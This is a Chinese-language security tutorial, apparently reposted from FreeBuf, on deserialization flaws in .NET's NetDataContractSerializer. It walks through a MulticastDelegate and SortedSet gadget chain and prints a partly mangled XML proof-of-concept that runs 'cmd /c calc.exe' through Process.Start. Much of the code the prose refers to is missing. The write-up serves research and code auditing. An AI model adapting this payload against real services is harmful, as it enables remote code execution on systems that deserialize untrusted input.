一、前言

NetDataContractSerializer和DataContractSerializer一樣用於序列化和反序列化Windows Communication Foundation (WCF) 消息中發送的數據。兩者之間存在一個重要區別:NetDataContractSerializer 包含了CLR,通過CLR類型添加額外信息並保存引用來支持類型精確,而DataContractSerializer 則不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 類型時,才能使用 NetDataContractSerializer。若要序列化對象使用 WriteObject或者Serialize方法, 若要反序列化 XML流使用 ReadObject或者Deserialize方法。在某些場景下讀取了惡意的XML流就會造成反序列化漏洞,從而實現遠程RCE攻擊,本文筆者從原理和代碼審計的視角做了相關介紹和復現。

前文回顧: 二、 NetDataContractSerializer序列化

使用WriteObject或者Serialize可以非常方便的實現.NET對象與XML數據之間的轉化,注意NetDataContractSerializer包含了程序集的名字和被序列化類型的類型。這些額外信息可以用來將XML反序列化成特殊類型,允許相同類型可以在客戶端和服務端同時使用。另外的信息是z:Id屬性在不同的元素上意義是不同的。這個用來處理引用類型以及當XML被反序列化時是否引用可以保留,最後的結論是這個輸出相比DataContractSerializer的輸出包含了更多信息。下面通過一個實例來說明問題,首先定義TestClass對象

TestClass對象定義了三個成員,並實現了一個靜態方法ClassMethod啓動進程。序列化通過創建對象實例分別給成員賦值

筆者使用Serialize得到序列化TestClass類後的xml數據

18360Ivan1ee 三、NetDataContractSerializer反序列 3.1 反序列化原理和用法

NetDataContractSerializer類反序列過程是將XML流轉換爲對象,通過創建一個新對象的方式調用ReadObject多個重載方法或Serialize方法實現的,查看定義得知繼承自XmlObjectSerializer抽象類、IFormatter接口,

NetDataContractSerializer類實現了XmlObjectSerializer抽象類中的WriteObject、ReadObject方法,也實現了IFormatter中定義的方法。筆者通過創建新對象的方式調用Deserialize方法實現的具體實現代碼可參考以下

其實在Deserialize方法內也是調用了ReadObject方法反序列化的

反序列化過程中使用ReadObject方法調用了ReadObjectHandleExceptions方法,省略一些非核心代碼,進入InternalReadObject方法體內反序列化後得到對象的屬性,打印輸出成員Name的值。

3.2 攻擊向量—MulticastDelegate

多路廣播委託(MulticastDelegate)繼承自 Delegate,其調用列表中可以擁有多個元素的委託,實際上所有委託類型都派生自MulticastDelegate。MulticastDelegate類的_invocationList字段在構造委託鏈時會引用委託數組,但爲了取得對委託鏈更多的控制就得使用GetInvocationList方法,它是具有一個帶有鏈接的委託列表,在對委託實例進行調用的時候,將按列表中的委託順序進行同步調用,那麼如何將calc.exe添加到GetInvocationList列表方法?首先先看Comparison類,它用於位於命令空間System.Collections.Generic,定義如下

Comparison類返回委託,再使用Delegate或者MulticastDelegate類的公共靜態方法Combine將委託添加到鏈中作爲Comparison的類型比較器

使用Comparer的靜態方法Create創建比較器,比較器對象在.NET集合類中使用的頻率較多,也具備了定製的反序列化功能,這裏選擇SortedSet類,在反序列化的時內部Comparer對象重構了集合的排序。

多路廣播委託的調用列表GetInvocationList方法在內部構造並初始化一個數組,讓它的每個元素都引用鏈中的一個委託,然後返回對該數組的引用,下面代碼修改了私有字段_InvocationList並用泛型委託Func返回Process類。

最後傳入攻擊載荷後得到完整序列化後的poc,如下

四、代碼審計 4.1 Deserialize

從代碼審計的角度只需找到可控的Path路徑就可以被反序列化,例如以下場景:

4.2 ReadObject

上面兩種方式都是很常見的,需要重點關注。

五、覆盤

1. 代碼中實現讀取本地文件內容

2. 傳遞poc xml,彈出計算器網頁返回200

1. 2<_comparison z:Id ="4" z:FactoryType ="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly ="0" xmlns= "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a ="http://schemas.datacontract.org/2004/07/System" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089< a:delegateEntry i:nil="true" />Compare< a:targetTypeAssembly z:Ref ="6" i:nil ="true" />System.String< a:type z:Id = "10">System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< a:methodName z:Id = "11" >Start< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089< a:targetTypeName z:Id = "13" >System.Diagnostics.Process< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String)< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8< GenericArguments i:nil = "true" />< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe< string z:Id = "26" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd

最後附上動態效果圖

六、總結

NetDataContractSerializer序列化功能輸出的信息更多,因爲性能等原因不及DataContractSerializer,所以在WCF開發中用的場景並不太多,但是因爲它無需傳入類型解析器所以相對來說更容易觸發反序列化漏洞。最後.NET反序列化系列課程筆者會同步到 、 ,後續筆者將陸續推出高質量的.NET反序列化漏洞文章,歡迎大夥持續關注,交流,更多的.NET安全和技巧可關注實驗室公衆號。

*本文作者:Ivan1ee@360雲影實驗室,轉載請註明來自FreeBuf.COM

聲明:該文觀點僅代表作者本人,搜狐號系信息發佈平臺,搜狐僅提供信息存儲空間服務。
相关文章